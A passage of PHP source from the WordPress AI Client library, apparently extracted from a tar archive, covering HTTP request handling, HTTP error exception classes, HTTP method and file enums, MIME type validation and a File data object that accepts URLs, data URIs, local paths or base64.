// Handle other PSR-18 client exceptions that are not network-related
throw new RuntimeException(sprintf('HTTP client error occurred while sending request to %s: %s', $request->getUri(), $e->getMessage()), 0, $e);
}
return $this->convertFromPsr7Response($psr7Response);
}
/**
* Merges request options with parameter options taking precedence.
*
* @since 0.2.0
*
* @param RequestOptions|null $requestOptions Options from the Request object.
* @param RequestOptions|null $parameterOptions Options passed as method parameter.
* @return RequestOptions|null Merged options, or null if both are null.
*/
private function mergeOptions(?RequestOptions $requestOptions, ?RequestOptions $parameterOptions): ?RequestOptions
{
// If no options at all, return null
if ($requestOptions === null && $parameterOptions === null) {
return null;
}
// If only one set of options exists, return it
if ($requestOptions === null) {
return $parameterOptions;
}
if ($parameterOptions === null) {
return $requestOptions;
}
// Both exist, merge them with parameter options taking precedence
$merged = new RequestOptions();
// Start with request options (lower precedence)
if ($requestOptions->getTimeout() !== null) {
$merged->setTimeout($requestOptions->getTimeout());
}
if ($requestOptions->getConnectTimeout() !== null) {
$merged->setConnectTimeout($requestOptions->getConnectTimeout());
}
if ($requestOptions->getMaxRedirects() !== null) {
$merged->setMaxRedirects($requestOptions->getMaxRedirects());
}
// Override with parameter options (higher precedence)
if ($parameterOptions->getTimeout() !== null) {
$merged->setTimeout($parameterOptions->getTimeout());
}
if ($parameterOptions->getConnectTimeout() !== null) {
$merged->setConnectTimeout($parameterOptions->getConnectTimeout());
}
if ($parameterOptions->getMaxRedirects() !== null) {
$merged->setMaxRedirects($parameterOptions->getMaxRedirects());
}
return $merged;
}
/**
* Determines if the underlying client matches the Guzzle client shape.
*
* @since 0.2.0
*
* @param ClientInterface $client The HTTP client instance.
* @return bool True when the client exposes Guzzle's send signature.
*/
private function isGuzzleClient(ClientInterface $client): bool
{
$reflection = new \ReflectionObject($client);
if (!is_callable([$client, 'send'])) {
return \false;
}
if (!$reflection->hasMethod('send')) {
return \false;
}
$method = $reflection->getMethod('send');
if (!$method->isPublic() || $method->isStatic()) {
return \false;
}
$parameters = $method->getParameters();
if (count($parameters) < 2) {
return \false;
}
$firstParameter = $parameters[0]->getType();
if (!$firstParameter instanceof \ReflectionNamedType || $firstParameter->isBuiltin()) {
return \false;
}
if (!is_a($firstParameter->getName(), RequestInterface::class, \true)) {
return \false;
}
$secondParameter = $parameters[1];
$secondType = $secondParameter->getType();
if (!$secondType instanceof \ReflectionNamedType || $secondType->getName() !== 'array') {
return \false;
}
return \true;
}
/**
* Sends a request using a Guzzle-compatible client.
*
* @since 0.2.0
*
* @param RequestInterface $request The PSR-7 request to send.
* @param RequestOptions $options The request options.
* @return ResponseInterface The PSR-7 response received.
*/
private function sendWithGuzzle(RequestInterface $request, RequestOptions $options): ResponseInterface
{
$guzzleOptions = $this->buildGuzzleOptions($options);
/** @var callable $callable */
$callable = [$this->client, 'send'];
/** @var ResponseInterface $response */
$response = $callable($request, $guzzleOptions);
return $response;
}
/**
* Converts request options to a Guzzle-compatible options array.
*
* @since 0.2.0
*
* @param RequestOptions $options The request options.
* @return array<string, mixed> Guzzle-compatible options.
*/
private function buildGuzzleOptions(RequestOptions $options): array
{
$guzzleOptions = [];
$timeout = $options->getTimeout();
if ($timeout !== null) {
$guzzleOptions['timeout'] = $timeout;
}
$connectTimeout = $options->getConnectTimeout();
if ($connectTimeout !== null) {
$guzzleOptions['connect_timeout'] = $connectTimeout;
}
$allowRedirects = $options->allowsRedirects();
if ($allowRedirects !== null) {
if ($allowRedirects) {
$redirectOptions = [];
$maxRedirects = $options->getMaxRedirects();
if ($maxRedirects !== null) {
$redirectOptions['max'] = $maxRedirects;
}
$guzzleOptions['allow_redirects'] = !empty($redirectOptions) ? $redirectOptions : \true;
} else {
$guzzleOptions['allow_redirects'] = \false;
}
}
return $guzzleOptions;
}
/**
* Converts a custom Request to a PSR-7 request.
*
* @since 0.1.0
*
* @param Request $request The custom request.
* @return RequestInterface The PSR-7 request.
*/
private function convertToPsr7Request(Request $request): RequestInterface
{
$psr7Request = $this->requestFactory->createRequest($request->getMethod()->value, $request->getUri());
// Add headers
foreach ($request->getHeaders() as $name => $values) {
foreach ($values as $value) {
$psr7Request = $psr7Request->withAddedHeader($name, $value);
}
}
// Add body if present
$body = $request->getBody();
if ($body !== null) {
$stream = $this->streamFactory->createStream($body);
$psr7Request = $psr7Request->withBody($stream);
}
return $psr7Request;
}
/**
* Converts a PSR-7 response to a custom Response.
*
* @since 0.1.0
*
* @param ResponseInterface $psr7Response The PSR-7 response.
* @return Response The custom response.
*/
private function convertFromPsr7Response(ResponseInterface $psr7Response): Response
{
$body = (string) $psr7Response->getBody();
// PSR-7 always returns headers as arrays, but HeadersCollection handles this
return new Response(
$psr7Response->getStatusCode(),
$psr7Response->getHeaders(),
// @phpstan-ignore-line
$body === '' ? null : $body
);
}
}
src/Providers/Http/Exception/ResponseException.php 0000644 00000003041 15220530455 0016352 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;
use WordPress\AiClient\Common\Exception\RuntimeException;
/**
* Exception class for HTTP response errors.
*
* This is used when response data is unexpected or malformed,
* typically indicating that a provider changed in ways our code
* is not aware of or when parsing response data fails.
*
* @since 0.1.0
*/
class ResponseException extends RuntimeException
{
/**
* Creates a ResponseException for missing expected data.
*
* @since 0.2.0
*
* @param string $apiName The name of the API/provider.
* @param string $fieldName The field that was expected but missing.
* @return self
*/
public static function fromMissingData(string $apiName, string $fieldName): self
{
$message = sprintf('Unexpected %s API response: Missing the "%s" key.', $apiName, $fieldName);
return new self($message);
}
/**
* Creates a ResponseException from invalid data in an API response.
*
* @since 0.2.0
*
* @param string $apiName The name of the API service (e.g., 'OpenAI', 'Anthropic').
* @param string $fieldName The field that was invalid.
* @param string $message The specific error message describing the invalid data.
* @return self
*/
public static function fromInvalidData(string $apiName, string $fieldName, string $message): self
{
return new self(sprintf('Unexpected %s API response: Invalid "%s" key: %s', $apiName, $fieldName, $message));
}
}
src/Providers/Http/Exception/RedirectException.php 0000644 00000003465 15220530455 0016327 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\DTO\Response;
/**
* Exception thrown for 3xx HTTP redirect responses.
*
* This represents cases where the server indicates that the request
* should be retried at a different location, but automatic redirect
* handling was not successful or not enabled.
*
* @since 0.2.0
*/
class RedirectException extends RuntimeException
{
/**
* Creates a RedirectException from a redirect response.
*
* This method extracts redirect information from the response headers
* and creates an exception with a descriptive message and status code.
*
* @since 0.2.0
*
* @param Response $response The HTTP redirect response.
* @return self
*/
public static function fromRedirectResponse(Response $response): self
{
$statusCode = $response->getStatusCode();
$statusTexts = [300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect'];
if (isset($statusTexts[$statusCode])) {
$errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode);
} else {
$errorMessage = sprintf('Redirect error (%d): Request needs to be retried at a different location', $statusCode);
}
// Try to extract the redirect location from headers
$locationValues = $response->getHeader('Location');
if ($locationValues !== null && !empty($locationValues)) {
$location = $locationValues[0];
$errorMessage .= ' - Location: ' . $location;
}
return new self($errorMessage, $statusCode);
}
}
src/Providers/Http/Exception/ClientException.php 0000644 00000004655 15220530455 0016006 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Util\ErrorMessageExtractor;
/**
* Exception thrown for 4xx HTTP client errors.
*
* This represents errors where the client request was malformed,
* unauthorized, forbidden, or otherwise invalid.
*
* @since 0.2.0
*/
class ClientException extends InvalidArgumentException
{
/**
* The request that failed.
*
* @var Request|null
*/
protected ?Request $request = null;
/**
* Returns the request that failed as our Request DTO.
*
* @since 0.2.0
*
* @return Request
* @throws \RuntimeException If no request is available
*/
public function getRequest(): Request
{
if ($this->request === null) {
throw new \RuntimeException('Request object not available. This exception was directly instantiated. ' . 'Use a factory method that provides request context.');
}
return $this->request;
}
/**
* Creates a ClientException from a client error response (4xx).
*
* This method extracts error details from common API response formats
* and creates an exception with a descriptive message and status code.
*
* @since 0.2.0
*
* @param Response $response The HTTP response that failed.
* @return self
*/
public static function fromClientErrorResponse(Response $response): self
{
$statusCode = $response->getStatusCode();
$statusTexts = [400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden', 404 => 'Not Found', 422 => 'Unprocessable Entity', 429 => 'Too Many Requests'];
if (isset($statusTexts[$statusCode])) {
$errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode);
} else {
$errorMessage = sprintf('Client error (%d): Request was rejected due to client-side issue', $statusCode);
}
// Extract error message from response data using centralized utility
$extractedError = ErrorMessageExtractor::extractFromResponseData($response->getData());
if ($extractedError !== null) {
$errorMessage .= ' - ' . $extractedError;
}
return new self($errorMessage, $statusCode);
}
}
src/Providers/Http/Exception/ServerException.php 0000644 00000003425 15220530455 0016030 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Util\ErrorMessageExtractor;
/**
* Exception thrown for 5xx HTTP server errors.
*
* This represents errors where the server failed to fulfill
* a valid request due to internal server errors.
*
* @since 0.2.0
*/
class ServerException extends RuntimeException
{
/**
* Creates a ServerException from a server error response.
*
* This method extracts error details from common API response formats
* and creates an exception with a descriptive message and status code.
*
* @since 0.2.0
*
* @param Response $response The HTTP response that failed.
* @return self
*/
public static function fromServerErrorResponse(Response $response): self
{
$statusCode = $response->getStatusCode();
$statusTexts = [500 => 'Internal Server Error', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 507 => 'Insufficient Storage', 529 => 'Overloaded'];
if (isset($statusTexts[$statusCode])) {
$errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode);
} else {
$errorMessage = sprintf('Server error (%d): Request was rejected due to server-side issue', $statusCode);
}
// Extract error message from response data using centralized utility
$extractedError = ErrorMessageExtractor::extractFromResponseData($response->getData());
if ($extractedError !== null) {
$errorMessage .= ' - ' . $extractedError;
}
return new self($errorMessage, $response->getStatusCode());
}
}
src/Providers/Http/Exception/NetworkException.php 0000644 00000003512 15220530455 0016210 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\DTO\Request;
/**
* Exception thrown for network-related errors.
*
* This includes HTTP transport errors, connection failures,
* timeouts, and other network-related issues.
*
* @since 0.2.0
*/
class NetworkException extends RuntimeException
{
/**
* The request that failed.
*
* @var Request|null
*/
protected ?Request $request = null;
/**
* Returns the request that failed as our Request DTO.
*
* @since 0.2.0
*
* @return Request
* @throws \RuntimeException If no request is available
*/
public function getRequest(): Request
{
if ($this->request === null) {
throw new \RuntimeException('Request object not available. This exception was directly instantiated. ' . 'Use a factory method that provides request context.');
}
return $this->request;
}
/**
* Creates a NetworkException from a PSR-18 network exception.
*
* @since 0.2.0
*
* @param RequestInterface $psrRequest The PSR-7 request that failed.
* @param \Throwable $networkException The PSR-18 network exception.
* @return self
*/
public static function fromPsr18NetworkException(RequestInterface $psrRequest, \Throwable $networkException): self
{
$request = Request::fromPsrRequest($psrRequest);
$message = sprintf('Network error occurred while sending request to %s: %s', $request->getUri(), $networkException->getMessage());
$exception = new self($message, 0, $networkException);
$exception->request = $request;
return $exception;
}
}
src/Providers/Http/Enums/RequestAuthenticationMethod.php 0000644 00000002344 15220530455 0017524 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Enums;
use WordPress\AiClient\Common\AbstractEnum;
use WordPress\AiClient\Common\Contracts\WithArrayTransformationInterface;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\DTO\ApiKeyRequestAuthentication;
/**
* Enum for request authentication methods.
*
* @since 0.4.0
*
* @method static self apiKey() Creates an instance for API_KEY method.
* @method bool isApiKey() Checks if the method is API_KEY.
*/
class RequestAuthenticationMethod extends AbstractEnum
{
/**
* API key authentication.
*/
public const API_KEY = 'api_key';
/**
* Gets the implementation class for the authentication method.
*
* @since 0.4.0
*
* @return class-string<RequestAuthenticationInterface&WithArrayTransformationInterface> The implementation class.
*
* @phpstan-ignore missingType.generics
*/
public function getImplementationClass(): string
{
// At the moment, this is the only supported method.
// Once more methods are available, add conditionals here for each method.
return ApiKeyRequestAuthentication::class;
}
}
src/Providers/Http/Enums/HttpMethodEnum.php 0000644 00000004750 15220530455 0014743 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Represents HTTP request methods.
*
* @since 0.1.0
*
* @method static self GET()
* @method static self POST()
* @method static self PUT()
* @method static self PATCH()
* @method static self DELETE()
* @method static self HEAD()
* @method static self OPTIONS()
* @method static self CONNECT()
* @method static self TRACE()
*
* @method bool isGet()
* @method bool isPost()
* @method bool isPut()
* @method bool isPatch()
* @method bool isDelete()
* @method bool isHead()
* @method bool isOptions()
* @method bool isConnect()
* @method bool isTrace()
*/
final class HttpMethodEnum extends AbstractEnum
{
/**
* GET method for retrieving resources.
*
* @var string
*/
public const GET = 'GET';
/**
* POST method for creating resources.
*
* @var string
*/
public const POST = 'POST';
/**
* PUT method for updating/replacing resources.
*
* @var string
*/
public const PUT = 'PUT';
/**
* PATCH method for partially updating resources.
*
* @var string
*/
public const PATCH = 'PATCH';
/**
* DELETE method for removing resources.
*
* @var string
*/
public const DELETE = 'DELETE';
/**
* HEAD method for retrieving headers only.
*
* @var string
*/
public const HEAD = 'HEAD';
/**
* OPTIONS method for retrieving allowed methods.
*
* @var string
*/
public const OPTIONS = 'OPTIONS';
/**
* CONNECT method for establishing tunnel.
*
* @var string
*/
public const CONNECT = 'CONNECT';
/**
* TRACE method for diagnostic purposes.
*
* @var string
*/
public const TRACE = 'TRACE';
/**
* Checks if this method is idempotent.
*
* @since 0.1.0
*
* @return bool True if the method is idempotent, false otherwise.
*/
public function isIdempotent(): bool
{
return in_array($this->value, [self::GET, self::HEAD, self::OPTIONS, self::TRACE, self::PUT, self::DELETE], \true);
}
/**
* Checks if this method typically has a request body.
*
* @since 0.1.0
*
* @return bool True if the method typically has a body, false otherwise.
*/
public function hasBody(): bool
{
return in_array($this->value, [self::POST, self::PUT, self::PATCH], \true);
}
}
src/Files/Enums/FileTypeEnum.php 0000644 00000001330 15220530455 0012541 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Files\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Represents the type of file storage.
*
* @method static self inline() Returns the inline file type.
* @method static self remote() Returns the remote file type.
* @method bool isInline() Checks if this is an inline file type.
* @method bool isRemote() Checks if this is a remote file type.
*
* @since 0.1.0
*/
class FileTypeEnum extends AbstractEnum
{
/**
* Inline file with base64-encoded data.
*
* @var string
*/
public const INLINE = 'inline';
/**
* Remote file referenced by URL.
*
* @var string
*/
public const REMOTE = 'remote';
}
src/Files/Enums/MediaOrientationEnum.php 0000644 00000001730 15220530455 0014257 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Files\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Represents the type of file storage.
*
* @method static self square() Returns the square orientation
* @method static self landscape() Returns the landscape orientation.
* @method static self portrait() Returns the portrait orientation.
* @method bool isSquare() Checks if this is an square orientation
* @method bool isLandscape() Checks if this is a landscape orientation.
* @method bool isPortrait() Checks if this is a portrait orientation.
*
* @since 0.1.0
*/
class MediaOrientationEnum extends AbstractEnum
{
/**
* Square orientation.
*
* @var string
*/
public const SQUARE = 'square';
/**
* Landscape orientation.
*
* @var string
*/
public const LANDSCAPE = 'landscape';
/**
* Portrait orientation.
*
* @var string
*/
public const PORTRAIT = 'portrait';
}
src/Files/ValueObjects/MimeType.php 0000644 00000017554 15220530455 0013242 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Files\ValueObjects;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
* Value object representing a MIME type.
*
* This immutable value object encapsulates MIME type validation and
* provides convenient methods for checking MIME type categories.
*
* @since 0.1.0
*/
final class MimeType
{
/**
* @var string The MIME type value.
*/
private string $value;
/**
* Common MIME type mappings for file extensions.
*
* @var array<string, string>
*/
private static array $extensionMap = [
// Text
'txt' => 'text/plain',
'html' => 'text/html',
'htm' => 'text/html',
'css' => 'text/css',
'js' => 'application/javascript',
'json' => 'application/json',
'xml' => 'application/xml',
'csv' => 'text/csv',
'md' => 'text/markdown',
// Images
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
'bmp' => 'image/bmp',
'webp' => 'image/webp',
'svg' => 'image/svg+xml',
'ico' => 'image/x-icon',
// Documents
'pdf' => 'application/pdf',
'doc' => 'application/msword',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'xls' => 'application/vnd.ms-excel',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'ppt' => 'application/vnd.ms-powerpoint',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'odt' => 'application/vnd.oasis.opendocument.text',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
// Archives
'zip' => 'application/zip',
'tar' => 'application/x-tar',
'gz' => 'application/gzip',
'rar' => 'application/x-rar-compressed',
'7z' => 'application/x-7z-compressed',
// Audio
'mp3' => 'audio/mpeg',
'wav' => 'audio/wav',
'ogg' => 'audio/ogg',
'flac' => 'audio/flac',
'm4a' => 'audio/m4a',
'aac' => 'audio/aac',
// Video
'mp4' => 'video/mp4',
'avi' => 'video/x-msvideo',
'mov' => 'video/quicktime',
'wmv' => 'video/x-ms-wmv',
'flv' => 'video/x-flv',
'webm' => 'video/webm',
'mkv' => 'video/x-matroska',
// Fonts
'ttf' => 'font/ttf',
'otf' => 'font/otf',
'woff' => 'font/woff',
'woff2' => 'font/woff2',
// Other
'php' => 'application/x-httpd-php',
'sh' => 'application/x-sh',
'exe' => 'application/x-msdownload',
];
/**
* Document MIME types.
*
* @var array<string>
*/
private static array $documentTypes = ['application/pdf', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet'];
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $value The MIME type value.
* @throws InvalidArgumentException If the MIME type is invalid.
*/
public function __construct(string $value)
{
if (!self::isValid($value)) {
throw new InvalidArgumentException(sprintf('Invalid MIME type: %s', $value));
}
$this->value = strtolower($value);
}
/**
* Gets the primary known file extension for this MIME type.
*
* @since 0.1.0
*
* @return string The file extension (without the dot).
* @throws InvalidArgumentException If no known extension exists for this MIME type.
*/
public function toExtension(): string
{
// Reverse lookup for the MIME type to find the extension.
$extension = array_search($this->value, self::$extensionMap, \true);
if ($extension === \false) {
throw new InvalidArgumentException(sprintf('No known extension for MIME type: %s', $this->value));
}
return $extension;
}
/**
* Creates a MimeType from a file extension.
*
* @since 0.1.0
*
* @param string $extension The file extension (without the dot).
* @return self The MimeType instance.
* @throws InvalidArgumentException If the extension is not recognized.
*/
public static function fromExtension(string $extension): self
{
$extension = strtolower($extension);
if (!isset(self::$extensionMap[$extension])) {
throw new InvalidArgumentException(sprintf('Unknown file extension: %s', $extension));
}
return new self(self::$extensionMap[$extension]);
}
/**
* Checks if a MIME type string is valid.
*
* @since 0.1.0
*
* @param string $mimeType The MIME type to validate.
* @return bool True if valid.
*/
public static function isValid(string $mimeType): bool
{
// Basic MIME type validation: type/subtype
return (bool) preg_match('/^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*$/', $mimeType);
}
/**
* Checks if this MIME type is a specific type.
*
* This method returns true when the stored MIME type begins with the
* given prefix. For example, `"audio"` matches `"audio/mpeg"`.
*
* @since 0.1.0
*
* @param string $mimeType The MIME type prefix to check (e.g., "audio", "image").
* @return bool True if this MIME type is of the specified type.
*/
public function isType(string $mimeType): bool
{
return str_starts_with($this->value, strtolower($mimeType) . '/');
}
/**
* Checks if this is an image MIME type.
*
* @since 0.1.0
*
* @return bool True if this is an image type.
*/
public function isImage(): bool
{
return $this->isType('image');
}
/**
* Checks if this is an audio MIME type.
*
* @since 0.1.0
*
* @return bool True if this is an audio type.
*/
public function isAudio(): bool
{
return $this->isType('audio');
}
/**
* Checks if this is a video MIME type.
*
* @since 0.1.0
*
* @return bool True if this is a video type.
*/
public function isVideo(): bool
{
return $this->isType('video');
}
/**
* Checks if this is a text MIME type.
*
* @since 0.1.0
*
* @return bool True if this is a text type.
*/
public function isText(): bool
{
return $this->isType('text');
}
/**
* Checks if this is a document MIME type.
*
* @since 0.1.0
*
* @return bool True if this is a document type.
*/
public function isDocument(): bool
{
return in_array($this->value, self::$documentTypes, \true);
}
/**
* Checks if this MIME type equals another.
*
* @since 0.1.0
*
* @param self|string $other The other MIME type to compare.
* @return bool True if equal.
* @throws InvalidArgumentException If the other MIME type is invalid.
*/
public function equals($other): bool
{
if ($other instanceof self) {
return $this->value === $other->value;
}
if (is_string($other)) {
return $this->value === strtolower($other);
}
throw new InvalidArgumentException(sprintf('Invalid MIME type comparison: %s', gettype($other)));
}
/**
* Gets the string representation of the MIME type.
*
* @since 0.1.0
*
* @return string The MIME type value.
*/
public function __toString(): string
{
return $this->value;
}
}
src/Files/DTO/File.php 0000644 00000032326 15220530455 0010422 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Files\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Files\Enums\FileTypeEnum;
use WordPress\AiClient\Files\ValueObjects\MimeType;
/**
* Represents a file in the AI client.
*
* This DTO automatically detects whether a file is a URL, base64 data, or local file path
* and handles them appropriately.
*
* @since 0.1.0
*
* @phpstan-type FileArrayShape array{
* fileType: string,
* url?: string,
* mimeType: string,
* base64Data?: string
* }
*
* @extends AbstractDataTransferObject<FileArrayShape>
*/
class File extends AbstractDataTransferObject
{
public const KEY_FILE_TYPE = 'fileType';
public const KEY_MIME_TYPE = 'mimeType';
public const KEY_URL = 'url';
public const KEY_BASE64_DATA = 'base64Data';
/**
* @var MimeType The MIME type of the file.
*/
private MimeType $mimeType;
/**
* @var FileTypeEnum The type of file storage.
*/
private FileTypeEnum $fileType;
/**
* @var string|null The URL for remote files.
*/
private ?string $url = null;
/**
* @var string|null The base64 data for inline files.
*/
private ?string $base64Data = null;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $file The file string (URL, base64 data, or local path).
* @param string|null $mimeType The MIME type of the file (optional).
* @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined.
*/
public function __construct(string $file, ?string $mimeType = null)
{
// Detect and process the file type (will set MIME type if possible)
$this->detectAndProcessFile($file, $mimeType);
}
/**
* Detects the file type and processes it accordingly.
*
* @since 0.1.0
*
* @param string $file The file string to process.
* @param string|null $providedMimeType The explicitly provided MIME type.
* @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined.
*/
private function detectAndProcessFile(string $file, ?string $providedMimeType): void
{
// Check if it's a URL
if ($this->isUrl($file)) {
$this->fileType = FileTypeEnum::remote();
$this->url = $file;
$this->mimeType = $this->determineMimeType($providedMimeType, null, $file);
return;
}
// Data URI pattern.
$dataUriPattern = '/^data:(?:([a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*' . '(?:;[a-zA-Z0-9\-]+=[a-zA-Z0-9\-]+)*)?;)?base64,([A-Za-z0-9+\/]*={0,2})$/';
// Check if it's a data URI.
if (preg_match($dataUriPattern, $file, $matches)) {
$this->fileType = FileTypeEnum::inline();
$this->base64Data = $matches[2];
// Extract just the base64 data
$extractedMimeType = empty($matches[1]) ? null : $matches[1];
$this->mimeType = $this->determineMimeType($providedMimeType, $extractedMimeType, null);
return;
}
// Check if it's a local file path (before base64 check)
if (file_exists($file) && is_file($file)) {
$this->fileType = FileTypeEnum::inline();
$this->base64Data = $this->convertFileToBase64($file);
$this->mimeType = $this->determineMimeType($providedMimeType, null, $file);
return;
}
// Check if it's plain base64
if (preg_match('/^[A-Za-z0-9+\/]*={0,2}$/', $file)) {
if ($providedMimeType === null) {
throw new InvalidArgumentException('MIME type is required when providing plain base64 data without data URI format.');
}
$this->fileType = FileTypeEnum::inline();
$this->base64Data = $file;
$this->mimeType = new MimeType($providedMimeType);
return;
}
throw new InvalidArgumentException('Invalid file provided. Expected URL, base64 data, or valid local file path.');
}
/**
* Checks if a string is a valid URL.
*
* @since 0.1.0
*
* @param string $string The string to check.
* @return bool True if the string is a URL.
*/
private function isUrl(string $string): bool
{
return filter_var($string, \FILTER_VALIDATE_URL) !== \false && preg_match('/^https?:\/\//i', $string);
}
/**
* Converts a local file to base64.
*
* @since 0.1.0
*
* @param string $filePath The path to the local file.
* @return string The base64-encoded file data.
* @throws RuntimeException If the file cannot be read.
*/
private function convertFileToBase64(string $filePath): string
{
$fileContent = @file_get_contents($filePath);
if ($fileContent === \false) {
throw new RuntimeException(sprintf('Unable to read file: %s', $filePath));
}
return base64_encode($fileContent);
}
/**
* Gets the file type.
*
* @since 0.1.0
*
* @return FileTypeEnum The file type.
*/
public function getFileType(): FileTypeEnum
{
return $this->fileType;
}
/**
* Checks if the file is an inline file.
*
* @since 0.1.0
*
* @return bool True if the file is inline (base64/data URI).
*/
public function isInline(): bool
{
return $this->fileType->isInline();
}
/**
* Checks if the file is a remote file.
*
* @since 0.1.0
*
* @return bool True if the file is remote (URL).
*/
public function isRemote(): bool
{
return $this->fileType->isRemote();
}
/**
* Gets the URL for remote files.
*
* @since 0.1.0
*
* @return string|null The URL, or null if not a remote file.
*/
public function getUrl(): ?string
{
return $this->url;
}
/**
* Gets the base64-encoded data for inline files.
*
* @since 0.1.0
*
* @return string|null The plain base64-encoded data (without data URI prefix), or null if not an inline file.
*/
public function getBase64Data(): ?string
{
return $this->base64Data;
}
/**
* Gets the data as a data URI for inline files.
*
* @since 0.1.0
*
* @return string|null The data URI in format: data:[mimeType];base64,[data], or null if not an inline file.
*/
public function getDataUri(): ?string
{
if ($this->base64Data === null) {
return null;
}
return sprintf('data:%s;base64,%s', $this->getMimeType(), $this->base64Data);
}
/**
* Gets the MIME type of the file as a string.
*
* @since 0.1.0
*
* @return string The MIME type string value.
*/
public function getMimeType(): string
{
return (string) $this->mimeType;
}
/**
* Gets the MIME type object.
*
* @since 0.1.0
*
* @return MimeType The MIME type object.
*/
public function getMimeTypeObject(): MimeType
{
return $this->mimeType;
}
/**
* Checks if the file is a video.
*
* @since 0.1.0
*
* @return bool True if the file is a video.
*/
public function isVideo(): bool
{
return $this->mimeType->isVideo();
}
/**
* Checks if the file is an image.
*
* @since 0.1.0
*
* @return bool True if the file is an image.
*/
public function isImage(): bool
{
return $this->mimeType->isImage();
}
/**
* Checks if the file is audio.
*
* @since 0.1.0
*
* @return bool True if the file is audio.
*/
public function isAudio(): bool
{
return $this->mimeType->isAudio();
}
/**
* Checks if the file is text.
*
* @since 0.1.0
*
* @return bool True if the file is text.
*/
public function isText(): bool
{
return $this->mimeType->isText();
}
/**
* Checks if the file is a document.
*
* @since 0.1.0
*
* @return bool True if the file is a document.
*/
public function isDocument(): bool
{
return $this->mimeType->isDocument();
}
/**
* Checks if the file is a specific MIME type.
*
* @since 0.1.0
*
* @param string $type The mime type to check (e.g. 'image', 'text', 'video', 'audio').
*
* @return bool True if the file is of the specified type.
*/
public function isMimeType(string $type): bool
{
return $this->mimeType->isType($type);
}
/**
* Determines the MIME type from various sources.
*
* @since 0.1.0
*
* @param string|null $providedMimeType The explicitly provided MIME type.
* @param string|null $extractedMimeType The MIME type extracted from data URI.
* @param string|null $pathOrUrl The file path or URL to extract extension from.
* @return MimeType The determined MIME type.
* @throws InvalidArgumentException If MIME type cannot be determined.
*/
private function determineMimeType(?string $providedMimeType, ?string $extractedMimeType, ?string $pathOrUrl): MimeType
{
// Prefer explicitly provided MIME type
if ($providedMimeType !== null) {
return new MimeType($providedMimeType);
}
// Use extracted MIME type from data URI
if ($extractedMimeType !== null) {
return new MimeType($extractedMimeType);
}
// Try to determine from file extension
if ($pathOrUrl !== null) {
$parsedUrl = parse_url($pathOrUrl);
$path = $parsedUrl['path'] ?? $pathOrUrl;
// Remove query string and fragment if present
$cleanPath = strtok($path, '?#');
if ($cleanPath === \false) {
$cleanPath = $path;
}
$extension = pathinfo($cleanPath, \PATHINFO_EXTENSION);
if (!empty($extension)) {
try {
return MimeType::fromExtension($extension);
} catch (InvalidArgumentException $e) {
// Extension not recognized, continue to error
unset($e);
}
}
}
throw new InvalidArgumentException('Unable to determine MIME type. Please provide it explicitly.');
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
